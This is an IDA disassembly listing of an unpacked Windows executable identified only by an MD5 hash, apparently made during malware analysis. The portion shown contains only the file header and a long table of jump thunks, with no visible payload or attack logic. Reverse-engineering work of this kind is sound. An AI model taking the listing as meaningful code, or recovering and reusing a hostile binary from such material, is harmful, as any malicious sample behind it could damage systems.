; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : F2A9B51FA4DF1A9D57B85608C73B8805 ; File Name : u:\work\f2a9b51fa4df1a9d57b85608c73b8805_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00110000 (1114112.) ; Section size in file : 00110000 (1114112.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing db 5 dup(0CCh) ; --------------------------------------------------------------------------- jmp loc_42F630 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43E09Co jmp loc_412CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421AF0+29p jmp sub_422050 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_431250 ; --------------------------------------------------------------------------- jmp loc_420DA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004118E3p jmp sub_411910 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B1BDp ; ___:0040B1CAp ... jmp sub_403C00 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FA90+34p jmp sub_40B000 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404C70+619p ; sub_404C70+6D8p ... jmp sub_40A030 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42A100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_413510+3Bp ; ___:00414B30p jmp sub_4155E0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_42F840+6Ep ; sub_42F840+8Ap ... jmp sub_432FE0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:0042EF22p ; sub_42F840+3Fp ... jmp sub_432E60 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423940 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D130 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B000+3Ap ; sub_40B070+1Ap jmp sub_432980 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E660+37Bp jmp sub_421C30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C0C0+8p jmp sub_40C280 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_431900+5Ap ; sub_433710+50p jmp sub_4318C0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43E07Co jmp sub_41C610 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416EAAp jmp sub_41FBD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40BF60+32p jmp sub_40C120 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416EBAp jmp sub_418290 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415830+5Ep ; sub_416280+32p jmp sub_4161C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E660+161p ; sub_4223E0+3p jmp sub_421A50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ACE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421C30+3p ; ___:00421FFFp ... jmp sub_422170 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C400+43p jmp sub_40CAD0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_427FF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_407570+Ap jmp sub_407610 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4245F0+23p ; sub_424790+6p ... jmp sub_424500 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_430C00+F5p ; sub_430C00+14Fp jmp sub_432DF0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4331D0+C8p jmp sub_430990 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043E174o jmp sub_429DC0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43E0A0o jmp loc_41E2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418330+D0p ; sub_418490+2Dp jmp sub_418A20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_40FF60+8D9p ; sub_40FF60+990p ... jmp sub_411860 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:0042F336p ; ___:0042F3A4p ... jmp sub_430F00 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421D50+9p ; sub_422240+18p jmp sub_4223C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40A9F0+58p ; sub_40A9F0+82p ... jmp sub_40ABE0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422A40+3F1p ; ___:00423AA6p ... jmp sub_419AE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416010+7p jmp sub_416640 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415520+4Fp ; sub_415E70+11p ... jmp sub_4160C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_429C30+58p jmp sub_429AA0 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421870+1Fp jmp sub_421CB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_421FB0+11p ; ___:00421FD7p ... jmp sub_4224D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413D60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421A30+3p ; ___:00421D9Fp ... jmp sub_421F10 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_414400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_426F20+3p jmp sub_426F50 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415A00+11p ; ___:00415A27p ... jmp sub_416470 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_433310 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421B60+5p ; sub_421C50+6p ... jmp sub_422150 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416A5Bp ; ___:00439F5Ej ... jmp sub_417A60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404C70+6Ap ; sub_404C70+1AFp ... jmp sub_412970 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43E074o jmp sub_4192C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_431A20+6p ; ___:00431A33p ... jmp sub_42F480 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42E3D0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43E15Co jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423C9Dp jmp sub_423760 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_431F50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:004150A8p jmp sub_415990 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41B950+F7p ; sub_41B950+10Bp ... jmp sub_409EA0 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_409910+Ap jmp sub_409A00 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4133D0+55p ; sub_4133D0+94p ... jmp sub_415770 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425020+183p jmp sub_4235F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414BBEp jmp sub_415520 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_427600+3p jmp sub_427630 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43E038o jmp loc_4118E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415DD0+11p ; ___:00415DF7p ... jmp sub_4165F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418B10+23p ; sub_418D80+11p jmp sub_418E60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418A90+3p ; sub_418E90+54p ... jmp sub_418CE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_409600+6Ap ; sub_409600+103p jmp sub_4098A0 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_432840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413D7Dp jmp sub_413B70 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A1E4p jmp sub_41AFE0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4133D0+88p ; sub_4147D0+BFp ... jmp sub_415930 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_42F480+7p ; sub_42F4F0+19p ... jmp sub_4338B0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DB10 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:004310AAp jmp sub_430A50 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_4071E0+11p ; sub_407370+1Fp jmp sub_407410 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_4036D0+3B5p ; sub_4036D0+3C5p ... jmp sub_403E00 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421C10+3p jmp sub_422190 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C250+Ap jmp sub_40C310 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_4036D0+1Dp ; sub_407030+1Fp ... jmp sub_403C70 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413274p ; ___:0043998Cj ... jmp sub_4153B0 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42B350+3p jmp sub_42B380 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AF00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414BCDp jmp sub_414C70 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407610+7p ; sub_409A00+7p ... jmp sub_407640 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_413510+73p ; ___:00414B6Dp ... jmp sub_415600 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E660+58p jmp sub_420530 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413DA0+84p jmp sub_4137E0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00432428p jmp sub_42FD70 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_4074C0+8p jmp sub_4075A0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404C70+9Fp ; sub_404C70+230p ... jmp sub_40A430 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A790+21p ; sub_40A9F0+A5p jmp sub_40A9D0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40AF70 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A430+129p ; sub_40A810+4p ... jmp sub_40A7E0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43E0DCo jmp sub_426650 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004322BDp jmp sub_42FA70 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_4072F0+3p ; ___:004073BFp ... jmp sub_407480 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D830+346p ; sub_41D830+410p ... jmp sub_421870 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421AB0+11p ; sub_421FB0+1Fp jmp sub_4220E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42B4F0+3p jmp sub_42B520 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_407790 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C120+5Fp jmp sub_40C2F0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_4034E0+F6p ; sub_4034E0+12Ep ... jmp sub_409C30 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E660+113p ; sub_41E660+124p jmp sub_421A30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043E060o jmp sub_41F860 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416AFBp ; ___:00439ED2j ... jmp sub_4176B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AEC0+Fp jmp sub_42FF50 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418B10+32p jmp sub_418D80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_433570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415420+5p ; sub_415620+6p ... jmp sub_416030 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BCB0+29p ; sub_40BDD0+29p jmp sub_40BF60 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E660+3E9p ; ___:0043B1ABj jmp sub_421AF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4144D0+BFp jmp sub_415210 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4164E0+Ap jmp sub_416820 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416B67p ; ___:00439E73j ... jmp sub_416FB0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418330 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416E1Fp jmp sub_417FD0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414690 ; --------------------------------------------------------------------------- jmp loc_42F030 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_40FF60+387p ; sub_41EF30+21Dp ... jmp sub_41B6E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416E5Ap jmp sub_418180 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409490+8p jmp sub_4094E0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_409600+A5p ; sub_412BC0+21p jmp sub_409810 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404C70+385p ; sub_41D830+5AAp jmp sub_41C030 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416D6Fp jmp sub_4036D0 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418BC0+23p ; sub_418E90+11p jmp sub_418FE0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424840+Cp ; sub_424840+3Ep ... jmp sub_424330 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_42F670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404C70+860p ; sub_404C70+ADCp ... jmp sub_40A290 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042EB16p ; ___:0042EB66p ... jmp sub_431490 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E660+367p ; sub_41E660+3D4p ... jmp sub_421C80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_426A60+107o jmp sub_426CE0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424720+18p ; sub_424760+Ap ... jmp sub_4246D0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416120+9p ; sub_4161C0+18p jmp sub_4167D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_431280+32o jmp sub_431A80 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42EB60 ; --------------------------------------------------------------------------- jmp loc_419BB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_429AA0+67p jmp sub_41FEF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:0042EEF8p ; sub_42F0B0+2p ... jmp sub_430270 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413670+3Fp ; sub_4144D0+40p ... jmp sub_415160 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404640+19Fp ; sub_404640+212p ... jmp sub_409EF0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424E90+B5p ; sub_424E90+F1p jmp sub_424E20 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425020+127p jmp sub_424E90 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416E3Ap jmp sub_418080 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416E0Fp jmp sub_417F10 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4303D0+1p jmp sub_430460 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00425F11p jmp sub_426450 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418330+71p ; sub_418330+BBp ... jmp sub_4189F0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A0A0+7p jmp sub_40A0C0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004316D8p ; sub_431730+2Bp jmp sub_431900 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_431280+1p jmp sub_4314C0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp jmp sub_421BD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414360+5Bp jmp sub_415030 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_4153B0+29p ; sub_4154D0+29p jmp sub_415F30 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00435F42p ; ___:00435F52p ... jmp sub_435E00 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4133D0+5Fp ; sub_4133D0+9Ep ... jmp sub_415960 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B520+62p ; ___:0040B9E8p ... jmp sub_40BE60 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4300C0 ; --------------------------------------------------------------------------- jmp loc_42EC40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40134D proc near ; DATA XREF: ___:0043E1A8o jmp sub_42B3A0 sub_40134D endp ; --------------------------------------------------------------------------- jmp loc_42B2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416090+8p jmp sub_4166B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4133D0+71p ; sub_4133D0:loc_41349Cp ... jmp sub_415910 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418330+AFp ; sub_418FE0+3p jmp sub_418AB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043E104o jmp sub_426A60 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B520+39p ; sub_40B520+78p ... jmp sub_40BE90 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_4257A0+29p ; sub_4257A0+38p jmp sub_4256B0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A500+1Cp jmp sub_41A540 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043E164o jmp sub_429C30 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408BD9p ; ___:00414481p jmp sub_414230 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418490+72p jmp sub_406C30 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409D20+7p ; sub_409E70+7p ... jmp sub_40A700 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43E080o jmp sub_422A40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413AE0 ; --------------------------------------------------------------------------- jmp sub_42B350 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418900+11p ; sub_421CB0+1Fp jmp sub_418C50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B2D0 loc_4013A2: ; CODE XREF: sub_42B2D0+3j jmp sub_42A810 ; END OF FUNCTION CHUNK FOR sub_42B2D0 ; --------------------------------------------------------------------------- jmp sub_42B4F0 ; --------------------------------------------------------------------------- jmp loc_42EBB0 ; --------------------------------------------------------------------------- jmp loc_414A60 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_407290+1Fp jmp sub_407370 sub_4013B6 endp ; --------------------------------------------------------------------------- jmp loc_42E7B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C0 proc near ; CODE XREF: sub_40FD70+3p ; ___:00416AEBp ... jmp sub_40FDA0 sub_4013C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013C5 proc near ; CODE XREF: sub_425270+Cp ; sub_4253E0+Ap ... jmp sub_425230 sub_4013C5 endp ; --------------------------------------------------------------------------- jmp loc_40D2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CF proc near ; CODE XREF: sub_40A8C0+20p jmp sub_40A9F0 sub_4013CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: sub_40FF60+AFDp ; sub_40FF60+E71p 